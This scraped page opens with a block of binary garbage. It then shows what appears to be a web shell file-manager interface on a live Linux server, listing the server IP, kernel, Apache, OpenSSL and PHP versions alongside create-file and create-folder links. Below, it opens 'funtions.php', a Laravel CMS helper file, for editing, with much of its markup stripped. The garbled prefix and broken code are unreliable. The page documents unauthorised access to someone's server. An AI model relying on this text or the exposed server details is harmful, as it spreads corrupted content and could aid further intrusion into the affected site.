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;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ Default page
  • Your IP: 216.73.216.3
  • Server IP: 1.201.172.194
  • Server: Linux hyjg 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  • Server Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.2.20
  • PHP Version: 8.2.20
  • Buat File | Buat Folder
Edit File: funtions.php
' . __('separate option by new line') . '
'; } if ($type == 'file') { $output .= '
'; } $output .= ''; return $output; } function get_default_language() { $defaultLang = \App\Models\Language::where('default', 1)->first(); return $defaultLang->slug; } function core_path($path) { return str_replace('core/', '', public_path($path)); } function global_assets_path($path) { return str_replace(['core/public/', 'core\\public\\'], '', public_path($path)); } function get_page_slug($id, $default = null) { return \App\Models\Page::where('id', $id)->first()->slug ?? $default; } function render_gallery_image_attachment_preview($gal_image) { if (empty($gal_image)) { return; } $output = ''; $gallery_images = explode('|', $gal_image); foreach ($gallery_images as $gl_img) { $work_section_img = get_attachment_image_by_id($gl_img, null, true); if (!empty($work_section_img)) { $output .= sprintf('
', $work_section_img['img_url']); } } return $output; } function render_frontend_sidebar($location, $args = []) { $output = ''; $all_widgets = \App\Models\Widgets::where(['widget_location' => $location])->orderBy('widget_order', 'ASC')->get(); foreach ($all_widgets as $widget) { $output .= \Plugins\WidgetBuilder\WidgetBuilderSetup::render_widgets_by_name_for_frontend([ 'name' => $widget->widget_name, 'location' => $location, 'id' => $widget->id, 'column' => $args['column'] ?? false ]); } return $output; } function render_admin_panel_widgets_list() { return \Plugins\WidgetBuilder\WidgetBuilderSetup::get_admin_panel_widgets(); } function get_admin_sidebar_list() { return \Plugins\WidgetBuilder\WidgetBuilderSetup::get_admin_widget_sidebar_list(); } function render_admin_saved_widgets($location) { $output = ''; $all_widgets = \App\Models\Widgets::where(['widget_location' => $location])->orderBy('widget_order', 'asc')->get(); foreach ($all_widgets as $widget) { $output .= \Plugins\WidgetBuilder\WidgetBuilderSetup::render_widgets_by_name_for_admin([ 'name' => $widget->widget_name, 'id' => $widget->id, 'type' => 'update', 'order' => $widget->widget_order, 'location' => $widget->widget_location ]); } return $output; } function single_post_share($url, $title, $img_url) { $output = ''; //get current page url $encoded_url = urlencode($url); //get current page title $post_title = str_replace(' ', '%20', $title); //all social share link generate $facebook_share_link = 'https://www.facebook.com/sharer/sharer.php?u=' . $encoded_url; $twitter_share_link = 'https://twitter.com/intent/tweet?text=' . $post_title . '&url=' . $encoded_url . '&via=Crunchify'; $linkedin_share_link = 'https://www.linkedin.com/shareArticle?mini=true&url=' . $encoded_url . '&title=' . $post_title; $pinterest_share_link = 'https://pinterest.com/pin/create/button/?url=' . $encoded_url . '&media=' . $img_url . '&description=' . $post_title; $whatsapp_share_link = 'https://api.whatsapp.com/send?text=*' . $post_title . ' ' . $encoded_url; $telegram_share_link = 'https://telegram.me/share/url?url=' . $encoded_url; $output = '
  • '; return $output; } function single_blog_post_share($url, $title, $img_url) { $output = ''; //get current page url $encoded_url = urlencode($url); //get current page title $post_title = str_replace(' ', '%20', $title); //all social share link generate $facebook_share_link = 'https://www.facebook.com/sharer/sharer.php?u=' . $encoded_url; $twitter_share_link = 'https://twitter.com/intent/tweet?text=' . $post_title . '&url=' . $encoded_url . '&via=Crunchify'; $linkedin_share_link = 'https://www.linkedin.com/shareArticle?mini=true&url=' . $encoded_url . '&title=' . $post_title; $telegram_share_link = 'https://telegram.me/share/url?url=' . $encoded_url; $output = ' '; return $output; } //New Menu Functions function render_pages_list($lang = null) { $instance = new \Plugins\MenuBuilder\MenuBuilderHelpers(); return $instance->get_static_pages_list($lang); } function render_dynamic_pages_list($lang = null) { $instance = new \Plugins\MenuBuilder\MenuBuilderHelpers(); return $instance->get_post_type_page_list($lang); } function render_mega_menu_list($lang = null) { $instance = new \Plugins\MenuBuilder\MegaMenuBuilderSetup(); return $instance->render_mega_menu_list($lang); } function render_draggable_menu($id) { $instance = new \Plugins\MenuBuilder\MenuBuilderAdminRender(); return $instance->render_admin_panel_menu($id); } function render_frontend_menu($id) { $instance = new \Plugins\MenuBuilder\MenuBuilderFrontendRender(); return $instance->render_frrontend_panel_menu($id); } function get_navbar_style() { $fallback = get_static_option('global_navbar_variant'); if (request()->routeIs(route_prefix() . 'dynamic.page')) { $page_info = \App\Models\Page::where(['slug' => request()->path()])->first(); return !is_null($page_info) && !is_null($page_info->navbar_variant) ? $page_info->navbar_variant : $fallback; } elseif (request()->routeIs('homepage')) { $page_info = \App\Models\Page::find(get_static_option('home_page')); return !is_null($page_info) ? $page_info->navbar_variant : $fallback; } elseif (request()->is('/')) { $page_info = \App\Models\Page::find(get_static_option('home_page')); return !is_null($page_info) ? $page_info->navbar_variant : $fallback; } return $fallback; } function get_footer_style() { $fallback = get_static_option('global_footer_variant') ?? 01; if (request()->routeIs(route_prefix() . 'dynamic.page')) { $page_info = \App\Models\Page::where(['slug' => request()->path()])->first(); return !is_null($page_info) && !is_null($page_info->footer_variant) ? $page_info->footer_variant : $fallback; } elseif (request()->routeIs('homepage')) { $page_info = \App\Models\Page::find(get_static_option('home_page')); return !is_null($page_info) ? $page_info->footer_variant : $fallback; } elseif (request()->is('/')) { $page_info = \App\Models\Page::find(get_static_option('home_page')); return !is_null($page_info) ? $page_info->footer_variant : $fallback; } return $fallback; } function purify_html_raw($html) { return \Mews\Purifier\Facades\Purifier::clean($html); } function get_user_lang_direction() { $default = \App\Models\Language::where('default', 1)->first(); $user_direction = \App\Models\Language::where('slug', session()->get('lang'))->first(); return !empty(session()->get('lang')) ? ($user_direction?->direction ?? 'ltr') : ($default?->direction ?? 'ltr'); } function get_user_lang_direction_bool() { $default = \App\Models\Language::where('default', 1)->first(); $user_direction = \App\Models\Language::where('slug', session()->get('lang'))->first(); $bool = !empty(session()->get('lang')) ? ($user_direction?->direction == 1) : ($default?->direction == 1); if ($bool) { return 'true'; } else { return 'false'; } } function get_language_name_by_slug($slug) { $data = \App\Models\Language::where('slug', $slug)->first(); return $data->name; } function get_country_field($name, $id, $class) { return ''; } function render_footer_copyright_text() { $footer_copyright_text = get_static_option('site_' . get_user_lang() . '_footer_copyright'); $footer_copyright_text = str_replace('{copy}', '©', $footer_copyright_text); $footer_copyright_text = str_replace('{year}', date('Y'), $footer_copyright_text); return purify_html_raw($footer_copyright_text); } function render_page_meta_data($blog_post) { $site_url = url('/'); $meta_title = optional($blog_post->metainfo)->title; $meta_description = optional($blog_post->metainfo)->description; $meta_image = get_attachment_image_by_id(optional($blog_post->metainfo)->image)['img_url'] ?? ""; $facebook_meta_title = optional($blog_post->metainfo)->tw_title; $facebook_meta_description = optional($blog_post->metainfo)->fb_description; $facebook_meta_image = get_attachment_image_by_id(optional($blog_post->metainfo)->fb_image)['img_url'] ?? ""; $twitter_meta_title = optional($blog_post->metainfo)->twitter_meta_tags; $twitter_meta_description = optional($blog_post->metainfo)->tw_description; $twitter_meta_image = get_attachment_image_by_id(optional($blog_post->metainfo)->tw_image)['img_url'] ?? ""; return << HTML; } function script_currency_list() { return \Xgenious\Paymentgateway\Base\GlobalCurrency::script_currency_list(); } function site_global_currency(){ return get_static_option('site_global_currency'); } function site_currency_symbol($text = false) { //custom symbol $custom_symbol = get_static_option('site_custom_currency_symbol'); if (!empty($custom_symbol)) { return $custom_symbol; } $all_currency = [ 'USD' => '$', 'EUR' => '€', 'INR' => '₹', 'IDR' => 'Rp', 'AUD' => 'A$', 'SGD' => 'S$', 'JPY' => '¥', 'GBP' => '£', 'MYR' => 'RM', 'PHP' => '₱', 'THB' => '฿', 'KRW' => '₩', 'NGN' => '₦', 'GHS' => 'GH₵', 'BRL' => 'R$', 'BIF' => 'FBu', 'CAD' => 'C$', 'CDF' => 'FC', 'CVE' => 'Esc', 'GHP' => 'GH₵', 'GMD' => 'D', 'GNF' => 'FG', 'KES' => 'K', 'LRD' => 'L$', 'MWK' => 'MK', 'MZN' => 'MT', 'RWF' => 'R₣', 'SLL' => 'Le', 'STD' => 'Db', 'TZS' => 'TSh', 'UGX' => 'USh', 'XAF' => 'FCFA', 'XOF' => 'CFA', 'ZMK' => 'ZK', 'ZMW' => 'ZK', 'ZWD' => 'Z$', 'AED' => 'د.إ', 'AFN' => '؋', 'ALL' => 'L', 'AMD' => '֏', 'ANG' => 'NAf', 'AOA' => 'Kz', 'ARS' => '$', 'AWG' => 'ƒ', 'AZN' => '₼', 'BAM' => 'KM', 'BBD' => 'Bds$', 'BDT' => '৳', 'BGN' => 'Лв', 'BMD' => '$', 'BND' => 'B$', 'BOB' => 'Bs', 'BSD' => 'B$', 'BWP' => 'P', 'BZD' => '$', 'CHF' => 'CHf', 'CNY' => '¥', 'CLP' => '$', 'COP' => '$', 'CRC' => '₡', 'CZK' => 'Kč', 'DJF' => 'Fdj', 'DKK' => 'Kr', 'DOP' => 'RD$', 'DZD' => 'دج', 'EGP' => 'E£', 'ETB' => 'ብር', 'FJD' => 'FJ$', 'FKP' => '£', 'GEL' => 'ლ', 'GIP' => '£', 'GTQ' => 'Q', 'GYD' => 'G$', 'HKD' => 'HK$', 'HNL' => 'L', 'HRK' => 'kn', 'HTG' => 'G', 'HUF' => 'Ft', 'ILS' => '₪', 'ISK' => 'kr', 'JMD' => '$', 'KGS' => 'Лв', 'KHR' => '៛', 'KMF' => 'CF', 'KYD' => '$', 'KZT' => '₸', 'LAK' => '₭', 'LBP' => 'ل.ل.', 'LKR' => 'ரூ', 'LSL' => 'L', 'MAD' => 'MAD', 'MDL' => 'L', 'MGA' => 'Ar', 'MKD' => 'Ден', 'MMK' => 'K', 'MNT' => '₮', 'MOP' => 'MOP$', 'MRO' => 'MRU', 'MUR' => '₨', 'MVR' => 'Rf', 'MXN' => 'Mex$', 'NAD' => 'N$', 'NIO' => 'C$', 'NOK' => 'kr', 'NPR' => 'रू', 'NZD' => '$', 'PAB' => 'B/.', 'PEN' => 'S/', 'PGK' => 'K', 'PKR' => '₨', 'PLN' => 'zł', 'PYG' => '₲', 'QAR' => 'QR', 'RON' => 'lei', 'RSD' => 'din', 'RUB' => '₽', 'SAR' => 'SR', 'SBD' => 'Si$', 'SCR' => 'SR', 'SEK' => 'kr', 'SHP' => '£', 'SOS' => 'Sh.so.', 'SRD' => '$', 'SZL' => 'E', 'TJS' => 'ЅM', 'TRY' => '₺', 'TTD' => 'TT$', 'TWD' => 'NT$', 'UAH' => '₴', 'UYU' => '$U', 'UZS' => 'so\'m', 'VND' => '₫', 'VUV' => 'VT', 'WST' => 'WS$', 'XCD' => '$', 'XPF' => '₣', 'YER' => '﷼', 'ZAR' => 'R' ]; $symbol = '$'; $global_currency = get_static_option('site_global_currency'); foreach ($all_currency as $currency => $sym) { if ($global_currency == $currency) { $symbol = $text ? $currency : $sym; break; } } return $symbol; } function amount_with_currency_symbol($amount, $text = false) { $decimal_status = get_static_option('currency_amount_type_status'); $decimal_or_integer_condition = !empty($decimal_status) ? 2 : 0; $amount = number_format((float)$amount, $decimal_or_integer_condition, '.', ','); $position = get_static_option('site_currency_symbol_position'); $symbol = site_currency_symbol($text); $return_val = $symbol . $amount; $space = ''; if ($position == 'right') { $return_val = $amount . $symbol; } return $return_val; } function render_form_field_for_frontend($form_content) { if (empty($form_content)) { return; } $output = ''; $form_fields = json_decode($form_content); $select_index = 0; $options = []; foreach ($form_fields->field_type as $key => $value) { if (!empty($value)) { if ($value == 'select') { $options = explode("\n", $form_fields->select_options[$select_index]); } $required = isset($form_fields->field_required->$key) ? $form_fields->field_required->$key : ''; $mimes = isset($form_fields->mimes_type->$key) ? $form_fields->mimes_type->$key : ''; $output .= get_field_by_type($value, $form_fields->field_name[$key], $form_fields->field_placeholder[$key], $options, $required, $mimes); if ($value == 'select') { $select_index++; }; } } return $output; } function module_dir($moduleName) { return 'core/Modules/' . $moduleName . '/'; } function get_module_view($moduleName, $fileName) { return strtolower($moduleName) . '::payment-gateway-view.' . $fileName; } function render_payment_gateway_for_form($cash_on_delivery = false, $exclude = []) { // If the custom payment gateway not active exclude it $exclude = empty(get_static_option('iyzipay_payment_gateway_status')) ? ['iyzipay'] : []; $output = '
    '; $output .= ''; $all_gateway = \App\Models\PaymentGateway::active()->get(); $payment_gateway_list = !empty($all_gateway) ? $all_gateway->toArray() : []; //todo append payment gateway name from modules $modules_payment_gateway = getAllPaymentGatewayListWithImage(); $all_gateway_with_custom = !empty($modules_payment_gateway) ? array_merge($payment_gateway_list, $modules_payment_gateway) : $payment_gateway_list; $output .= '
      '; foreach ($all_gateway_with_custom as $gateway) { // if ($gateway['status'] == true) { if (in_array($gateway['name'], $exclude)) { continue; } $selected = (get_static_option('site_default_payment_gateway') == $gateway['name']) ? 'selected' : ''; $output .= '
    • '; if (array_key_exists('module', $gateway)) { $output .= ' //
      ' . __('Enter Manual Payment Transaction ID') . '
      // //

      ' . get_manual_payment_description() . '

      //
    '; //bank payment markup passing $output .= '
    ' . __('Upload Bank Transfer Document') . '

    ' . get_bank_payment_description() . '

    '; //add extra markup for kinetic payment $output .= '
    ' . __('Choose Payment Method') . '
    '; //extra field data for payment gateway $output .= '
    '; $output .= renderAllPaymentGatewayExtraInfoBlade(); $output .= '
    '; $output .= ''; return $output; } function get_user_name_by_id($id) { $user = \App\Models\User::find($id); return $user; } function set_seo_data($request) { $request_data = [ 'meta_title' => SEOMeta::setTitle($request->meta_title), 'meta_description' => SEOMeta::setDescription($request->meta_description), 'meta_image' => SEOTools::jsonLd()->addImage($request->meta_image), 'meta_fb_title' => OpenGraph::setTitle($request->meta_fb_title), 'meta_fb_description' => OpenGraph::setDescription($request->meta_fb_description), 'fb_image' => OpenGraph::addImages($request->fb_image), 'meta_tw_title' => TwitterCard::setTitle($request->meta_tw_title), 'meta_tw_description' => TwitterCard::setDescription($request->meta_tw_description), 'tw_image' => TwitterCard::setImage($request->tw_image), ]; return $request_data; } if (!function_exists('renderWasabiCloudFile')) { function renderWasabiCloudFile($fileLocation) { $s3 = new \Aws\S3\S3Client([ 'endpoint' => get_static_option_central('wasabi_endpoint') ?? config('filesystems.disks.wasabi.endpoint'), 'region' => get_static_option_central('wasabi_default_region') ?? config('filesystems.disks.wasabi.region'), 'version' => 'latest', 'credentials' => array( 'key' => get_static_option_central('wasabi_access_key_id') ?? config('filesystems.disks.wasabi.key'), 'secret' => get_static_option_central('wasabi_secret_access_key') ?? config('filesystems.disks.wasabi.secret'), ) ]); $cmd = $s3->getCommand('GetObject', [ 'Bucket' => get_static_option_central('wasabi_bucket') ?? config('filesystems.disks.wasabi.bucket'), 'Key' => $fileLocation, 'ACL' => 'public-read', ]); $request = $s3->createPresignedRequest($cmd, '+20 minutes'); $img_url = (string)$request->getUri(); return $img_url; } } function cloudStorageExist(): bool { return (moduleExists('CloudStorage') && isPluginActive('CloudStorage')); } function canonical_url() { if (get_static_option('site_canonical_settings') == 0) { return url()->current(); } if (\Illuminate\Support\Str::startsWith($current = url()->current(), 'https://www')) { return str_replace('https://www.', 'https://', $current); } return str_replace('https://', 'https://www.', $current); } function get_time_difference($time_type, $to) { $from = \Illuminate\Support\Carbon::now(); $type = 'diffIn' . ucfirst($time_type); $difference = $from->$type($to); return $difference; } function get_typography_suffix_by_theme($theme) { $suffix = 'donation'; if (!empty($theme)) { switch ($theme) { case 'donation': $suffix = 'theme_donation'; break; case 'event': $suffix = 'theme_event'; break; case 'job-find': $suffix = 'theme_job'; break; case 'article-listing': $suffix = 'theme_knowledgebase'; break; case 'support-ticketing': $suffix = 'theme_support_ticket'; break; case 'eCommerce': $suffix = 'theme_ecommerce'; break; case 'agency': $suffix = 'theme_agency'; break; case 'newspaper': $suffix = 'theme_newspaper'; break; case 'construction': $suffix = 'theme_construction'; break; case 'consultancy': $suffix = 'theme_consultancy'; break; case 'wedding': $suffix = 'theme_wedding'; break; case 'photography': $suffix = 'theme_photography'; break; case 'portfolio': $suffix = 'theme_portfolio'; break; case 'software-business': $suffix = 'theme_software'; break; case 'barber-shop': $suffix = 'theme_barber_shop'; break; } } return $suffix; } function load_google_fonts_landlord() { //google fonts link; $fonts_url = 'https://fonts.googleapis.com/css2?family='; //body fonts $body_font_family = get_static_option('body_font_family') ?? 'Open Sans'; $heading_font_family = get_static_option('heading_font_family') ?? 'Montserrat'; $load_body_font_family = str_replace(' ', '+', $body_font_family); $body_font_variant = get_static_option('body_font_variant'); $body_font_variant_selected_arr = !empty($body_font_variant) ? unserialize($body_font_variant, ['class' => false]) : ['400']; $load_body_font_variant = is_array($body_font_variant_selected_arr) ? implode(';', $body_font_variant_selected_arr) : '400'; $body_italic = ''; preg_match('/1,/', $load_body_font_variant, $match); if (count($match) > 0) { $body_italic = 'ital,'; } else { $load_body_font_variant = str_replace('0,', '', $load_body_font_variant); } $fonts_url .= $load_body_font_family . ':' . $body_italic . 'wght@' . str_replace('regular', '400', $load_body_font_variant); $load_heading_font_family = str_replace(' ', '+', $heading_font_family); $heading_font_variant = get_static_option('heading_font_variant'); $heading_font_variant_selected_arr = !empty($heading_font_variant) ? unserialize($heading_font_variant, ['class' => false]) : ['400']; $load_heading_font_variant = is_array($heading_font_variant_selected_arr) ? implode(';', $heading_font_variant_selected_arr) : '400'; if (!empty(get_static_option('heading_font')) && $heading_font_family != $body_font_family) { $heading_italic = ''; preg_match('/1,/', $load_heading_font_variant, $match); if (count($match) > 0) { $heading_italic = 'ital,'; } else { $load_heading_font_variant = str_replace('0,', '', $load_heading_font_variant); } $fonts_url .= '&family=' . $load_heading_font_family . ':' . $heading_italic . 'wght@' . str_replace('regular', '400', $load_heading_font_variant); } return sprintf(' ', $fonts_url); } function load_google_fonts() { //google fonts link; $fonts_url = 'https://fonts.googleapis.com/css2?family='; //body fonts $theme_suffix = get_typography_suffix_by_theme(get_static_option('tenant_default_theme')); $body_font_family = get_static_option('body_font_family_' . $theme_suffix) ?? 'Open Sans'; $heading_font_family = get_static_option('heading_font_family_' . $theme_suffix) ?? 'Montserrat'; $load_body_font_family = str_replace(' ', '+', $body_font_family); $body_font_variant = get_static_option('body_font_variant_' . $theme_suffix); $body_font_variant_selected_arr = !empty($body_font_variant) ? unserialize($body_font_variant, ['class' => false]) : ['400']; $load_body_font_variant = is_array($body_font_variant_selected_arr) ? implode(';', $body_font_variant_selected_arr) : '400'; $body_italic = ''; preg_match('/1,/', $load_body_font_variant, $match); if (count($match) > 0) { $body_italic = 'ital,'; } else { $load_body_font_variant = str_replace('0,', '', $load_body_font_variant); } $fonts_url .= $load_body_font_family . ':' . $body_italic . 'wght@' . str_replace('regular', '400', $load_body_font_variant); $load_heading_font_family = str_replace(' ', '+', $heading_font_family); $heading_font_variant = get_static_option('heading_font_variant_' . $theme_suffix); $heading_font_variant_selected_arr = !empty($heading_font_variant) ? unserialize($heading_font_variant, ['class' => false]) : ['400']; $load_heading_font_variant = is_array($heading_font_variant_selected_arr) ? implode(';', $heading_font_variant_selected_arr) : '400'; if (!empty(get_static_option('heading_font_' . $theme_suffix)) && $heading_font_family != $body_font_family) { $heading_italic = ''; preg_match('/1,/', $load_heading_font_variant, $match); if (count($match) > 0) { $heading_italic = 'ital,'; } else { $load_heading_font_variant = str_replace('0,', '', $load_heading_font_variant); } $fonts_url .= '&family=' . $load_heading_font_family . ':' . $heading_italic . 'wght@' . str_replace('regular', '400', $load_heading_font_variant); } return sprintf(' ', $fonts_url); } function wrap_random_number($number) { return random_int(111111, 999999) . $number . random_int(111111, 999999); } function unwrap_random_number($number) { $extract_number = substr($number, 6); return substr($extract_number, 0, -6); } function purify_html($html) { return strip_tags(\Mews\Purifier\Facades\Purifier::clean($html)); } function tenant_url_with_protocol($url) { if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') { $protocol = "https://"; } else { $protocol = "http://"; } return $protocol . $url; } function create_slug($sluggable_text, $model_name, $is_module = false, $module_name = null, $column_name = 'slug') // Idea from Suzon extended by Md Zahid { if ($is_module) { $model_path = 'Modules\\' . ucwords($module_name) . '\Entities\\' . ucwords($model_name); } else { $model_path = '\App\Models\\' . ucwords($model_name); } $slug = \Illuminate\Support\Str::slug($sluggable_text); $check = true; do { $old_category = (new $model_path)->where($column_name, $slug)->orderBy('id', 'desc')->first(); if ($old_category != null) { $old_category_name = $old_category->slug; $exploded = explode('-', $old_category_name); if (array_key_exists(1, $exploded)) { $number = end($exploded); if (is_numeric($number) == true) { $number = (int)$number; array_pop($exploded); $final_array = array_merge($exploded, Arr::wrap(++$number)); $slug = implode('-', $final_array); } else { $slug .= '-1'; } } else { $slug .= '-1'; } } else { $check = false; } } while ($check); return $slug; } function get_all_main_feature_create_permission($order_details) { $check_image = 'image'; $output = ''; if (!empty($order_details->page_permission_feature)): $output .= '
  • ' . $check_image . ' ' . __('Page') . $order_details->page_permission_feature . '
  • '; endif; if (!empty($order_details->blog_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Blog') . $order_details->blog_permission_feature . '
  • '; endif; if (!empty($order_details->product_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Product') . $order_details->product_permission_feature . '
  • '; endif; if (!empty($order_details->service_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Service') . $order_details->service_permission_feature . '
  • '; endif; if (!empty($order_details->donation_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Donation') . $order_details->donation_permission_feature . '
  • '; endif; if (!empty($order_details->job_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Job') . $order_details->job_permission_feature . '
  • '; endif; if (!empty($order_details->event_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Event') . $order_details->event_permission_feature . '
  • '; endif; if (!empty($order_details->knowledgebase_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Article') . $order_details->knowledgebase_permission_feature . '
  • '; endif; if (!empty($order_details->portfolio_permission_feature)): $output .= '
  • ' . $check_image . '' . __('Portfolio') . $order_details->portfolio_permission_feature . '
  • '; endif; return $output; } function get_manual_payment_description() { $data = \App\Models\PaymentGateway::where('name', 'manual_payment_')->first(); $manual_payment_description = ''; if (!empty($data)) { $decoded = json_decode($data->credentials); $manual_payment_description = $decoded->description; $manual_payment_description = str_replace(array('https://{url}', 'http://{url}'), array(url('/'), url('/')), $manual_payment_description); } return $manual_payment_description; } function get_bank_payment_description() { $data = \App\Models\PaymentGateway::where('name', 'bank_transfer')->first(); $manual_payment_description = ''; if (!empty($data)) { $decoded = json_decode($data->credentials); $manual_payment_description = $decoded->description; $manual_payment_description = str_replace(array('https://{url}', 'http://{url}'), array(url('/'), url('/')), $manual_payment_description); } return $manual_payment_description; } function default_lang() { return \App\Facades\GlobalLanguage::default_slug(); } function default_lang_name() { $lang = \App\Facades\GlobalLanguage::default_slug(); return \App\Models\Language::where('slug', $lang)->first()?->name ?? ''; } function render_img_url_data_attr($id, $attr) { $header_bg_img = get_attachment_image_by_id($id, null, true); $img_url = $header_bg_img['img_url'] ?? ''; return sprintf('data-%1$s="%2$s"', $attr, $img_url); } function custom_file_upload($file) { $file_name = ''; if (isset($file)) { $uploaded_file = $file; $file_extension = $uploaded_file->getClientOriginalExtension(); $file_name = pathinfo($uploaded_file->getClientOriginalName(), PATHINFO_FILENAME) . time() . '.' . $file_extension; // Image scan start $file_extension = $uploaded_file->getClientOriginalExtension(); if (in_array($file_extension, ['jpg', 'jpeg', 'png', 'gif', 'webp'])) { $processed_image = Image::make($uploaded_file); $image_default_width = $processed_image->width(); $image_default_height = $processed_image->height(); $processed_image->resize($image_default_width, $image_default_height, function ($constraint) { $constraint->aspectRatio(); }); $processed_image->save('assets/uploads/custom-file/' . $file_name); }else{ $uploaded_file->move('assets/uploads/custom-file', $file_name); } // Image scan end } return $file_name; } function get_blog_created_user_image($admin_id) { $admin = null; if (!empty($admin_id)) { $admin = \App\Models\Admin::find($admin_id)->image ?? []; } return $admin; } function get_percentage($amount, $numb) { if ($amount > 0) { return round($numb / ($amount / 100), 2); } return 0; } function get_dynamic_page_name_by_id($id) { $name = ''; if (!empty($id)) { $name = \App\Models\Page::find($id)?->slug; } return $name ?? "x"; } function get_plan_left_days($package_id, $tenant_expire_date) { $order_details = \App\Models\PricePlan::find($package_id) ?? ''; $package_start_date = ''; $package_expire_date = ''; if (!empty($order_details)) { if ($order_details->type == 0) { //monthly $package_start_date = Carbon::now()->format('d-m-Y h:i:s'); $package_expire_date = Carbon::now()->addMonth(1)->format('d-m-Y h:i:s'); } elseif ($order_details->type == 1) { //yearly $package_start_date = Carbon::now()->format('d-m-Y h:i:s'); $package_expire_date = Carbon::now()->addYear(1)->format('d-m-Y h:i:s'); } else { //lifetime $package_start_date = \Illuminate\Support\Carbon::now()->format('d-m-Y h:i:s'); $package_expire_date = null; } } $left_days = 0; if ($package_expire_date != null) { $old_days_left = Carbon::now()->diff($tenant_expire_date); if ($old_days_left->invert == 0) { $left_days = $old_days_left->days; } $renew_left_days = 0; $renew_left_days = Carbon::parse($package_expire_date)->diffInDays(); $sum_days = $left_days + $renew_left_days; $new_package_expire_date = Carbon::today()->addDays($sum_days)->format("d-m-Y h:i:s"); } else { $new_package_expire_date = null; } return $left_days == 0 ? $package_expire_date : $new_package_expire_date; } function moduleExists($name): bool { $module_status = json_decode(file_get_contents(__DIR__.'/../../modules_statuses.json')); $folderPath = base_path('./Modules'.DIRECTORY_SEPARATOR .$name); if(file_exists($folderPath) && is_dir($folderPath)){ return property_exists($module_status,$name) ? $module_status->$name : false; } return false; } function sohan_custom_charecter_or_word_length_count(string $source, string $subject): int { if (!empty($subject) && strlen($subject) < 2) { $count = 0; for ($i = 0; $i < strlen($source); $i++) { if ($source[$i] == $subject) { $count += 1; } } return $count; } else { return substr_count($source, $subject); } } function get_string_line_breaker($string, $number) { if (!empty($string)) { $explode = explode(' ', $string); $take_data = array_slice($explode, 0, $number); $new_data = implode(' ', $take_data) . PHP_EOL; $final_data = array_diff($explode, $take_data); $result = $new_data . '' . implode(' ', $final_data); return $result; } } function get_product_dynamic_price($product_object) { $is_expired = 0; $campaign_name = null; (double)$regular_price = $product_object->price; (double)$sale_price = $product_object->sale_price; $discount = null; if (!is_null($product_object?->campaign_product)) { if ($product_object?->campaign_product?->campaign?->status == 'publish') { $start_date = \Carbon\Carbon::parse($product_object?->campaign_product?->start_date); $end_date = \Carbon\Carbon::parse($product_object?->campaign_product?->end_date); if ($start_date->lessThanOrEqualTo(now()) && $end_date->greaterThanOrEqualTo(now())) { (string)$campaign_name = $product_object?->campaign_product?->campaign?->title; (double)$sale_price = $product_object?->campaign_product?->campaign_price; (double)$regular_price = $product_object->sale_price; $discount = 100 - round(($sale_price / $regular_price) * 100); $is_expired = 1; } } } $data['campaign_name'] = $campaign_name; $data['sale_price'] = $sale_price; $data['regular_price'] = $regular_price; $data['discount'] = $discount; $data['is_expired'] = $is_expired; return $data; } function render_product_star_rating_markup_with_count($product_object): string { $sum = 0; $product_review = $product_object->reviews ?? []; $product_count = count($product_review) < 1 ? 1 : count($product_review); if ($product_count >= 1) { foreach ($product_review as $review) { $sum += $review?->rating; } } else { $sum = current($product_review)?->rating ?? 0; } $rating = $sum / $product_count; $star = (int)(2 * $rating) . '0'; $rating_markup = ''; if ($sum > 0) { $rating_markup = '

    (' . $product_count . ')

    '; } return '
    ' . $rating_markup . '
    '; } function product_prices($product_object, $class = '') { $markup = ''; $sale_price = $product_object->sale_price; if ($product_object->price != null) { $regular_price = $product_object->price; // $markup = '
    ' . amount_with_currency_symbol($regular_price) . ''; // $markup .= '' . amount_with_currency_symbol($sale_price) . '
    '; // todo here offerPrice class displayed regular price in related product list $markup = '
    ' . amount_with_currency_symbol($sale_price) . ''; $markup .= '' . amount_with_currency_symbol($regular_price) . '
    '; return $markup; } return '' . amount_with_currency_symbol($sale_price) . ''; } function render_star_rating_markup($rating): string { $star = (int)(2 * $rating) . '0'; return '
